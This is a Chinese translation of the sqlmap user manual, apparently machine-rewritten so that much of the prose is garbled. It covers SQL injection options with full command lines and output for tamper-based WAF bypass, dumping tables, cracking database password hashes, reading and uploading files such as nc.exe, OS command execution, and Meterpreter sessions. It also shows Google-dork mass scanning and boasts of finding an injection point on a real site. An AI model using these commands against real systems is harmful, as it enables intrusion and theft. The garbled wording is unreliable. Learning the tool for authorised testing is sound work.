|
|
|
联系客服020-83701501

SqlMap用户手册

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
SqlMap用户手册

引:本文已经出了续篇,文章形式有点长,但都是精粹,读者们暴躁的看吧,续篇的链接在文末。

Default
1 http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

当给sqlmap这么一个url的时辰,它会:

Default
1234567 1、武断可注入的参数 2、武断大约用那种SQL注入技术手段来注入 3、辨认出哪类数据库 4、依照用户决意,读取哪些数据

sqlmap支持五种分歧的注入模式:

Default
123456789 1、基于布尔的盲注,即大约依照返回页面武断条件真假的注入。 2、基于年华的盲注,即不克不及依照页面返回形式武断任何静态,用条件语句查看年华延宕语句是否实行(即页面返回年华是否增长)来武断。 3、基于报错注入,即页面会返回错误静态,可能把注入的语句的前因直接返回在页面中。 4、扩散查问注入,大约垄断union的情况下的注入。 5、堆查问注入,大约同时实行多条语句的实行时的注入。

sqlmap支持的数据库有:

Default
1 MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

 

大约供给一个容易的URL,Burp或WebScarab恳求日志文件,文本文档中的残缺http恳求可能Google的搜索,受室出前因页面,也大约人人界说一个正则来武断那个地点去测试。

测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也大约指定用逗号分隔的列表的详细参数来测试。

大约设定HTTP(S)恳求的并发数,来提高盲注时的听命。

Youtube上有人做的垄断sqlmap的视频:

http://www.youtube.com/user/inquisb/videos

http://www.youtube.com/user/stamparm/videos

垄断sqlmap的实例文章:

http://unconciousmind.blogspot.com/search/label/sqlmap

大约点击https://github.com/sqlmapproject/sqlmap/tarball/master下载最新版本sqlmap。

也大约垄断git来获取sqlmap

Default
1 git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

以后大约直接垄毕呼吁来更新

Default
1 python sqlmap.py --update

可能

Default
1 git pull

 

更新sqlmap

假设你想观察sqlmap对一个点是中断了怎么样的尝试武断以及读取数据的,大约垄断-v参数。

共有七个等级,默认为1:

Default
12345678910111213 0、只浮现python错误以及求助的静态。 1、同时浮现根蒂基础静态和警告静态。(默认) 2、同时浮现debug静态。 3、同时浮现注入的payload。 4、同时浮现HTTP恳求。 5、同时浮现HTTP响应头。 6、同时浮现HTTP响应页面。

 

假设你想看到sqlmap发送的测试payload最好的等级便是3。

获取目的门径


目的URL

参数:-u可能–url

款式:http(s)://targeturl[:port]/[…]

比方:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

从Burp可能WebScarab代理中获取日志

参数:-l

大约直接吧Burp proxy可能WebScarab proxy中的日志直接倒进去交给sqlmap来一个一个检测是否有注入。

从文本中获取多个目的扫描

参数:-m

文件中生计url款式如下,sqlmap会一个一个检测

Default
12345 www.target1.com/vuln1.php?q=foobar www.target2.com/vuln2.asp?id=1 www.target3.com/vuln3/id/1*

 

Default
123456 从文件中加载HTTP恳求参数:-r sqlmap大约从一个文本文件中获取HTTP恳求,这样就大约跳过设置一些另外参数(比如cookie,POST数据,等等)。 比如文本文件内如下:

 

Default
12345 POST /vuln.php HTTP/1.1Host: www.target.comUser-Agent: Mozilla/4.0 id=1

 

当恳求是HTTPS的时辰你必要共同这个–force-ssl参数来垄断,可能你大约在Host头后门加之:443

处理Google的搜索前因

参数:-g

sqlmap大约测试注入Google的搜索前因中的GET参数(只获取前100个前因)。

例子:

Default
1 python sqlmap.py -g "inurl:".php?id=1""

 

(很牛B的听从,测试了一下,第十几个就找到新浪的一个注入点)

别的大约垄断-c参数加载sqlmap.conf文件概况的干系配置。

恳求


http数据

参数:–data

此参数是把数据以POST门径提交,sqlmap会像检测GET参数异样检测POST的参数。

例子:

Default
1 python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

 

参数拆分字符

参数:–param-del

当GET或POST的数据必要用另外字符朋分测试参数的时辰必要用到此参数。

例子:

Default
1 python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

 

HTTP cookie头

参数:–cookie,–load-cookies,–drop-set-cookie

这个参数在如下两个方面很有效:

1、web把持必要登陆的时辰。

2、你想要在这些头参数中测试SQL注入时。

大约经由抓包把cookie获取到,复制进去,尔后加到–cookie参数里。

在HTTP恳求中,碰到Set-Cookie的话,sqlmap会自动获取并且在以后的恳求中参与,并且会尝试SQL注入。

假设你不想接受Set-Cookie大约垄断–drop-set-cookie参数来拒接。

当你垄断–cookie参数时,当返回一个Set-Cookie头的时辰,sqlmap会询问你用哪一个cookie来继续接上去的恳求。当–level的参数设定为2可能2以上的时辰,sqlmap会尝试注入Cookie参数。

HTTP User-Agent头

参数:–user-agent,–random-agent

默认情况下sqlmap的HTTP恳求头中User-Agent值是:

Default
1 sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

 

大约垄断–user-anget参数来修改,同时也大约垄断–random-agnet参数来随机的从./txt/user-agents.txt中获取。

当–level参数设定为3可能3以上的时辰,会尝试对User-Angent中断注入。

HTTP Referer头

参数:–referer

sqlmap大约在恳求中伪造HTTP中的referer,当–level参数设定为3可能3以上的时辰会尝试对referer注入。

额外的HTTP头

参数:–headers

大约经由–headers参数来增长额外的http头

HTTP认证体恤

参数:–auth-type,–auth-cred

这些参数大约用来登陆HTTP的认证体恤支持三种门径:

1、Basic

2、Digest

3、NTLM

例子:

Default
1 python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

 

HTTP协定的证书认证

参数:–auth-cert

当Web做事器必要客户端证书中断身份考据时,必要供给两个文件:key_file,cert_file。

key_file是款式为PEM文件,包罗着你的私钥,cert_file是款式为PEM的毗连文件。

HTTP(S)代理

参数:–proxy,–proxy-cred和–ignore-proxy

垄断–proxy代理是款式为:http://url:port。

当HTTP(S)代理必要认证是大约垄断–proxy-cred参数:username:password。

–ignore-proxy拒绝垄断本地局域网的HTTP(S)代理。

HTTP恳求延宕

参数:–delay

大约设定两个HTTP(S)恳求间的延宕,设定为0.5的时辰是半秒,默认是没有延宕的。

设定超经常间

参数:–timeout

大约设定一个HTTP(S)恳求超过量久判定为超时,10.5泄漏浮现10.5秒,默认是30秒。

设定重试超时

参数:–retries

当HTTP(S)超经常,大约设定从新尝试毗连次数,默认是3次。

设定随机改变的参数值

参数:–randomize

大约设定某一个参数值在每一次恳求中随机的调换,长度和类型会与供给的初始值异样。

把持正则过滤目的网址

参数:–scope

比方:

Default
1 python sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"

 

防范过量的错误恳求被屏蔽

参数:–safe-url,–safe-freq

有的web把持程序会在你多次造访错误的恳求时屏蔽掉你以后的部分恳求,这样在sqlmap中断探测可能注入的时辰概略形成错误恳求而触发这个策略,招致以后无法中断。

绕过这个策略有两种门径:

Default
12 1、--safe-url:供给一个安全不错误的毗连,每隔一段年华屯子去造访一下。2、--safe-freq:供给一个安全不错误的毗连,每次测试恳求以后屯子再造访一边安全毗连。

 

关掉URL参数值编码

参数:–skip-urlencode

依照参数位置,他的值默认将会被URL编码,然则有些时辰后端的web做事器不听从RFC标准,只接受不经过URL编码的值,这时辰就必要用–skip-urlencode参数。

每次恳求时辰实行自界说的python代码

参数:–eval

在有些时辰,必要依照某个参数的调换,而修改另个一参数,才能组成正常的恳求,这时大约用–eval参数在每次恳求时依照所写python代码做完修改后恳求。

例子:

Default
1 python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

 

下面的恳求便是每次恳求时依照id参数值,做一次md5后作为hash参数的值。

注入


测试参数

参数:-p,–skip

sqlmap默认测试部分的GET和POST参数,当–level的值大于等于2的时辰也会测试HTTP Cookie头的值,当大于等于3的时辰也会测试User-Agent和HTTP Referer头的值。然则你大约手动用-p参数设置想要测试的参数。比方: -p “id,user-anget”

当你垄断–level的值很大然则有个别参数不想测试的时辰大约垄断–skip参数。

比方:–skip=”user-angent.referer”

在有些时辰web做事器垄断了URL重写,招致无法直接垄断sqlmap测试参数,大约在想测试的参数背面加*

比方:

Default
1 python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

 

sqlmap将会测试value1的位置是否可注入。

指定数据库

参数:–dbms

默认情况系sqlmap会自动的探测web把持后端的数据库是甚么,sqlmap支持的数据库有:

Default
1 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

 

指定数据库做事器细碎

参数:–os

默认情况下sqlmap会自动的探测数据库做事器细碎,支持的细碎有:Linux、Windows。

指定有效的大数字

参数:–invalid-bignum

当你想指定一个报错的数值时,大约垄断这个参数,比方默认情况系id=13,sqlmap会变为id=-13来报错,你大约指定比如id=9999999来报错。

指定有效的逻辑

参数:–invalid-logical

启事同上,大约指定id=13把副本的id=-13的报错改成id=13 AND 18=19。

注入payload

参数:–prefix,–suffix

在有些情况中,必要在注入的payload的背面可能背面加一些字符,来保证payload的正常实行。

比方,代码中是这样调用数据库的:

Default
1 $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

这时你就必要–prefix和–suffix参数了:

Default
1 python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

这样实行的SQL语句变为:

Default
1 $query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";

 

修改注入的数据

参数:–tamper

sqlmap除了垄断CHAR()函数来防止呈现单引号以外没有对注入的数据修改,你大约垄断–tamper参数对数据做修改来绕过WAF等装备。

下面是一个tamper脚本的款式:

Default
12345678910111213 # Needed importsfrom lib.core.enums import PRIORITY# Define which is the order of application of tamper scripts against# the payload__priority__ = PRIORITY.NORMALdef tamper(payload):    '''    Description of your tamper script    '''    retVal = payload    # your code to tamper the original payload    # return the tampered payload    return retVal

 

大约查看 tamper/ 目次下的有哪些可用的脚本

比方:

Default
1234567891011121314151617181920 $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 [hh:mm:03] [DEBUG] cleaning up configuration parameters[hh:mm:03] [INFO] loading tamper script 'between'[hh:mm:03] [INFO] loading tamper script 'randomcase'[hh:mm:03] [INFO] loading tamper script 'space2comment'[...][hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041[...][hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/group/**/bY/**/x)a)[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVINGclause' injectable[...]

 

探测


探测等级

参数:–level

共有五个等级,默认为1,sqlmap垄断的payload大约在xml/payloads.xml中看到,你也大约依照响应的款式增长人人的payload。

这个参数不只影响垄断哪些payload同时也会影响测试的注入点,GET和POST的数据屯子测试,HTTP Cookie在level为2的时辰就会测试,HTTP User-Agent/Referer头在level为3的时辰就会测试。

总之在你不必定哪一个payload可能参数为注入点的时辰,为了保证全面性,建议垄断高的level值。

强占等级

参数:–risk

共有四个强占等级,默认是1会测试大全部的测试语句,2会增长基于事件的测试语句,3会增长OR语句的SQL注入测试。

在有些时辰,比方在UPDATE的语句中,注入一个OR的测试语句,概略招致更新的全部表,概略形成很大的强占。

测试的语句同样大约在xml/payloads.xml中找到,你也大约自行增长payload。

页面角力计算

参数:–string,–not-string,–regexp,–code

默认情况下sqlmap经由武断返回页面的分歧来武断真假,但无意偶尔候这会发作流毒,由于有的页面在每次刷新的时辰屯子返回分歧的代码,比如页面当中包罗一个静态的推行可能另状态式,这会招致sqlmap的误判。此时用户大约供给一个字符串可能一段正则受室,在原始页面与真条件下的页面都具有的字符串,而错误页面中不具有(垄断–string参数增长字符串,–regexp增长正则),同时用户大约供给一段字符串在原始页面与真条件下的页面都不具有的字符串,而错误页面中具有的字符串(–not-string增长)。用户也大约供给真与假条件返回的HTTP状态码不异样来注入,比方,响应200的时辰为真,响应401的时辰为假,大约增长参数–code=200。

参数:–text-only,–titles

有些时辰用户知道真条件下的返回页面与假条件下返回页面的分歧位置在何处大约垄断–text-only(HTTP响应体等分歧)–titles(HTML的title标签等分歧)。

注入技术手段


测试是否是注入

参数:–technique

这个参数大约指定sqlmap垄断的探测技术手段,默认情况下会测试部分的门径。

支持的探测门径如下:

Default
12345 B: Boolean-based blind SQL injection(布尔型注入)E: Error-based SQL injection(报错型注入)U: UNION query SQL injection(可扩散查问注入)S: Stacked queries SQL injection(可多语句查问注入)T: Time-based blind SQL injection(基于年华延宕注入)

 

设定延宕注入的年华

参数:–time-sec

当垄断继续年华的盲注时,时辰垄断–time-sec参数设定延经常间,默认是5秒。

设定UNION查问字段数

参数:–union-cols

默认情况下sqlmap测试UNION查问注入会测试1-10个字段数,当–level为5的时辰他会增长测试到50个字段数。设定–union-cols的值理当是一段整数,如:12-16,是测试12-16个字段数。

设定UNION查问垄断的字符

参数:–union-char

默认情况下sqlmap针对UNION查问的注入会垄断NULL字符,然则有些情况下会形成页面返回败北,而一个随机整数是败北的,这是你大约用–union-char指定UNION查问的字符。

二阶SQL注入

参数:–second-order

有些时辰注入点输入的数据看返回前因的时辰切实不是以后的页面,而是别的的一个页面,这时辰就必要你指定到哪一个页面获取响应武断真假。–second-order后门跟一个武断页面的URL地点。

列数据


符号

参数:-b,–banner

大多数的数据库细碎都有一个函数大约返回数据库的版本号,一般这个函数是version()可能变量@@version这次要取决与是甚么数据库。

用户

参数:–current-user

在大多数据库中大约获取到计划数据的用户。

以后数据库

参数:–current-db

返还以后毗连的数据库。

以后用户是否为计划用

参数:–is-dba

武断以后的用户是否为计划,是的话会返回True。

列数据库计划用户

参数:–users

以后用户有权限读取包罗部分用户的表的权限时,就大约列出部分计划用户。

列出并破解数据库用户的hash

参数:–passwords

以后用户有权限读取包罗用户明码的表的权限时,sqlmap会现枚举出用户,尔后列出hash,并尝试破解。

例子:

Default
12345678910111213141516171819 $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1[...]back-end DBMS: PostgreSQL[hh:mm:38] [INFO] fetching database users password hashesdo you want to use dictionary attack on retrieved password hashes? [Y/n/q] y[hh:mm:42] [INFO] using hash method: 'postgres_passwd'what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt][hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'do you want to use common password suffixes? (slow!) [y/N] n[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'database management system users password hashes:[*] postgres [1]:    password hash: md5d7d880f96044b72d0bba108ace96d1e4    clear-text password: testpass[*] testuser [1]:    password hash: md599e5ea7a6f7c3269995cba3927fd0093    clear-text password: testpass

 

大约看到sqlmap不只勒出数据库的用户跟明码,同时也辨认出是PostgreSQL数据库,并询问用户是否采纳字典爆破的门径中断破解,这个爆破已经支持Oracle和Microsoft SQL Server。

也大约供给-U参数来指定爆破哪一个用户的hash。

列出数据库计划员权限

参数:–privileges

以后用户有权限读取包罗部分用户的表的权限时,很概略枚举出每个用户的权限,sqlmap将会陈说你哪一个是数据库的超等计划员。也大约用-U参数指定你想看哪一个用户的权限。

列出数据库计划员脚色

参数:–roles

以后用户有权限读取包罗部分用户的表的权限时,很概略枚举出每个用户的脚色,也大约用-U参数指定你想看哪一个用户的脚色。

仅实用于以后数据库是Oracle的时辰。

列出数据库细碎的数据库

参数:–dbs

以后用户有权限读取包罗部分数据库列表静态的表中的时辰,即可列出部分的数据库。

枚举数据库表

参数:–tables,–exclude-sysdbs,-D

以后用户有权限读取包罗部分数据库表静态的表中的时辰,即可列出一个特定数据的部分表。

假设你不供给-D参数来列指定的一个数据的时辰,sqlmap会列出数据库部分库的部分表。

–exclude-sysdbs参数是指扫除了部分的细碎数据库。

必要留心的是在Oracle中你必要供给的是TABLESPACE_NAME而不是数据库称呼。

枚举数据库表中的字段

参数:–columns,-C,-T,-D

以后用户有权限读取包罗部分数据库表静态的表中的时辰,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。

假设没有垄断-D参数指定数据库时,默认会垄断以后数据库。

枚举一个SQLite的例子:

Default
123456789101112 $ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name[...]Database: SQLite_masterdbTable: users[3 columns]+---------+---------+| Column  | Type    |+---------+---------+| id      | INTEGER || name    | TEXT    || surname | TEXT    |+---------+---------+

 

枚举数据库细碎的架构

参数:–schema,–exclude-sysdbs

用户大约用此参数获取数据库的架构,包罗部分的数据库,表和字段,以及各自的类型。

加之–exclude-sysdbs参数,将不会获取数据库自带的细碎库形式。

MySQL例子:

Default
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051 $ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs[...]Database: owasp10Table: accounts[4 columns]+-------------+---------+| Column      | Type    |+-------------+---------+| cid         | int(11) || mysignature | text    || password    | text    || username    | text    |+-------------+---------+ Database: owasp10Table: blogs_table[4 columns]+--------------+----------+| Column       | Type     |+--------------+----------+| date         | datetime || blogger_name | text     || cid          | int(11)  || comment      | text     |+--------------+----------+ Database: owasp10Table: hitlog[6 columns]+----------+----------+| Column   | Type     |+----------+----------+| date     | datetime || browser  | text     || cid      | int(11)  || hostname | text     || ip       | text     || referer  | text     |+----------+----------+ Database: testdbTable: users[3 columns]+---------+---------------+| Column  | Type          |+---------+---------------+| id      | int(11)       || name    | varchar(500)  || surname | varchar(1000) |+---------+---------------+[...]

 

获取表中数据个数

参数:–count

无意偶尔候用户只想获取表中的数据个数而不是详细的形式,那末就大约垄断这个参数。

枚举一个Microsoft SQL Server例子:

Default
123456789 $ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb[...]Database: testdb+----------------+---------+| Table          | Entries |+----------------+---------+| dbo.users      | 4       || dbo.users_blob | 2       |+----------------+---------+

 

获取全部表的数据

参数:–dump,-C,-T,-D,–start,–stop,–first,–last

假设以后计划员有权限读取数据库其中的一个表的话,那末就能够获取这个表的部分外容。

垄断-D,-T参数指定想要获取哪一个库的哪一个表,不实用-D参数时,默认垄断以后库。

枚举一个Firebird的例子:

Default
12345678910111213 $ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users[...]Database: Firebird_masterdbTable: USERS[4 entries]+----+--------+------------+| ID | NAME   | SURNAME    |+----+--------+------------+| 1  | luther | blisset    || 2  | fluffy | bunny      || 3  | wu     | ming       || 4  | NULL   | nameisnull |+----+--------+------------+

 

大约获取指定库中的部分表的形式,只用-dump跟-D参数(不垄断-T与-C参数)。

也大约用-dump跟-C获取指定的字段形式。

sqlmap为每个表生成为了一个CSV文件。

假设你只想获取一段数据,大约垄断–start和–stop参数,比方,你只想获取第一段数据大约垄断–stop 1,假设想获取第二段与第三段数据,垄断参数 –start 1 –stop 3。

也大约用–first与–last参数,获取第几个字符到第几个字符的形式,假设你想获取字段中第三个字符到第五个字符的形式,垄断–first 3 –last 5,只在盲注的时辰垄断,由于另外门径大约准确的获取注入形式,不必要一个字符一个字符的猜解。

获取部分数据库表的形式

参数:–dump-all,–exclude-sysdbs

垄断–dump-all参数获取部分数据库表的形式,可同时加之–exclude-sysdbs只获取用户数据库的表,必要留心在Microsoft SQL Server中master数据库没有考虑成为一个细碎数据库,由于有的计划员会把他当初用户数据库异样来垄断它。

搜索字段,表,数据库

参数:–search,-C,-T,-D

–search大约用来根究特定的数据库名,部分数据库中的特定表名,部分数据库表中的特定字段。

大约在一下三种情况下垄断:

Default
123 -C后随着用逗号朋分的列名,将会在部分数据库表中搜索指定的列名。-T后随着用逗号朋分的表名,将会在部分数据库中搜索指定的表名-D后随着用逗号朋分的库名,将会在部分数据库中搜索指定的库名。

 

运行自界说的SQL语句

参数:–sql-query,–sql-shell

sqlmap会自动检测必定垄断哪类SQL注入技术手段,若何插入检索语句。

假设是SELECT查问语句,sqlmap将会输入前因。假设是经由SQL注入实行另外语句,必要测试是否支持多语句实行SQL语句。

枚举一个Mircrosoft SQL Server 2000的例子:

Default
12345678910111213141516171819202122 $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1 [...][hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''[hh:mm:14] [INFO] retrieved: fooSELECT 'foo':    'foo' $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2 [...][hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))[hh:mm:50] [INFO] retrieved: foo[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))[hh:mm:50] [INFO] retrieved: bar[hh:mm:50] [DEBUG] performed 27 queries in 0 secondsSELECT 'foo', 'bar':    'foo, bar'

 

爆破


暴力破解表名

参数:–common-tables

当垄断–tables无法获取到数据库的表时,大约垄断此参数。

一般是如下情况:

Default
123 1、MySQL数据库版本小于5.0,没有information_schema表。2、数据库是Microssoft Access,细碎表MSysObjects是弗成读的(默认)。3、以后用户没有权限读取细碎中生计数据机关的表的权限。

 

暴力破解的表在txt/common-tables.txt文件中,你大约人人增长。

枚举一个MySQL 4.1的例子:

Default
1234567891011121314151617181920212223 $ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner [...][hh:mm:39] [INFO] testing MySQL[hh:mm:39] [INFO] confirming MySQL[hh:mm:40] [INFO] the back-end DBMS is MySQL[hh:mm:40] [INFO] fetching bannerweb server operating system: Windowsweb application technology: PHP 5.3.1, Apache 2.2.14back-end DBMS operating system: Windowsback-end DBMS: MySQL < 5.0.0banner:    '4.1.21-community-nt' [hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'[hh:mm:40] [INFO] adding words used on web page to the check listplease enter number of threads? [Enter for 1 (current)] 8[hh:mm:43] [INFO] retrieved: users Database: testdb[1 table]+-------+| users |+-------+

 

暴力破解列名

参数:–common-columns

与暴力破解表名异样,暴力跑的列名在txt/common-columns.txt中。

用户自界说函数注入


参数:–udf-inject,–shared-lib

你大约经由编译MySQL注入你自界说的函数(UDFs)或PostgreSQL在windows中同享库,DLL,可能Linux/Unix中同享工具,sqlmap将会问你一些题目,上传到做事器数据库自界说函数,尔后依照你的决意实行他们,当你注入完成后,sqlmap将会移除它们。

细碎文件利用


从数据库做事器中读取文件

参数:–file-read

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且以后用户有权限垄断特定的函数。读取的文件大约是文本也大约是二进制文件。

枚举一个Microsoft SQL Server 2005的例子:

Default
1234567891011121314151617181920 $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1 [...][hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2000web application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Microsoft SQL Server 2005 [hh:mm:50] [INFO] fetching file: 'C:/example.exe'[hh:mm:50] [INFO] the SQL query provided returns 3 entriesC:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/C__example.exe'[...] $ ls -l output/192.168.136.129/files/C__example.exe -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe $ file output/192.168.136.129/files/C__example.exe output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel80386 32-bit

 

把文件上传到数据库做事器中

参数:–file-write,–file-dest

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且以后用户有权限垄断特定的函数。上传的文件大约是文本也大约是二进制文件。

枚举一个MySQL的例子:

Default
123456789101112131415161718192021 $ file /software/nc.exe.packed /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit $ ls -l /software/nc.exe.packed-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 [...][hh:mm:29] [INFO] the back-end DBMS is MySQLweb server operating system: Windows 2003 or 2008web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: MySQL >= 5.0.0 [...]do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully written on the back-end DBMS file system? [Y/n] y[hh:mm:52] [INFO] retrieved: 31744[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, same size as the local file '/software/nc.exe.packed'

 

运行利便利用细碎呼吁

参数:–os-cmd,–os-shell

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且以后用户有权限垄断特定的函数。

在MySQL、PostgreSQL,sqlmap上传一个二进制库,包罗用户自界说的函数,sys_exec()和sys_eval()。

那末他成立的这两个函数大约实行细碎呼吁。在Microsoft SQL Server,sqlmap将会垄断xp_cmdshell存储过程,假设被禁(在Microsoft SQL Server 2005及以上版本默认止),sqlmap会从新启用它,假设不具有,会自动成立。

枚举一个PostgreSQL的例子:

Default
1234567891011121314151617181920212223 $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1 [...]web application technology: PHP 5.2.6, Apache 2.2.9back-end DBMS: PostgreSQL[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system[hh:mm:12] [INFO] the back-end DBMS operating system is Linux[hh:mm:12] [INFO] testing if current user is DBA[hh:mm:12] [INFO] detecting back-end DBMS version from its banner[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF filedo you want to retrieve the command standard output? [Y/n/a] ycommand standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)' [hh:mm:19] [INFO] cleaning up the database management systemdo you want to remove UDF 'sys_eval'? [Y/n] ydo you want to remove UDF 'sys_exec'? [Y/n] y[hh:mm:23] [INFO] database management system cleanup finished[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually

 

用–os-shell参数也大约仿照一个切实的shell,大约输入你想实行的呼吁。

当不克不及实行多语句的时辰(比如php可能asp的后端数据库为MySQL时),依旧概略垄断INTO OUTFILE写进可写目次,来成立一个web后门。支持的语言:

Default
1234 1、ASP2、ASP.NET3、JSP4、PHP

 

Meterpreter共同垄断

参数:–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且以后用户有权限垄断特定的函数,大约在数据库与冲击者直接成立TCP毗连,这个毗连大约是一个交互式呼吁行的Meterpreter会话,sqlmap依照Metasploit生成shellcode,并有四种门径实行它:

Default
1234 1、经由用户自界说的sys_bineval()函数在内存中实行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。2、经由用户自界说的函数上传一个自力的payload实行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。3、经由SMB冲击(MS08-068)来实行Metasploit的shellcode,当sqlmap获取到的权限充足高的时辰(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。4、经由溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中实行Metasploit的payload,参数:--os-bof

枚举一个MySQL例子:

Default
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697 $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit [...][hh:mm:31] [INFO] the back-end DBMS is MySQLweb server operating system: Windows 2003web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0back-end DBMS: MySQL 5.0[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system[hh:mm:31] [INFO] the back-end DBMS operating system is Windowshow do you want to establish the tunnel?[1] TCP: Metasploit Framework (default)[2] ICMP: icmpsh - ICMP 